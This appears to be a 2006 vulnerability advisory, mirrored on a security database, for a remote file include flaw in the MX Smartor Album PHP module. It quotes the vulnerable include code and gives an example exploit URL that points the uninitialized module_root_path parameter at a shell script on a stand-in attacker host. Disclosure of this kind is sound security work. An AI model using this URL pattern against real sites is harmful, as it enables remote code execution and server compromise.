Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:14937
HistoryNov 06, 2006 - 12:00 a.m.

MX Smartor Album Module Remote File Include

2006-11-0600:00:00
vulners.com
18

MX Smartor Album Module Remote File Include
Discovered by Paul Bakoyiannis {winsec}


Vulnerable Code:
if ( $mode == 'album_cat' )
{
include($module_root_path. 'includes/album_cat.'.$phpEx);
}
(the rest of the vulnerable code removed for brevity)

Vulnerability: $module_root_path is uninitialized

Source Code:http://www.mx-system.com/index.php?page=4&action=file&file_id=19

Example Exploit: http://[site].com/modules/mx_smartor/album.php?smartor_mode=album_cat&module_root_path=http://evil.com/shell.txt?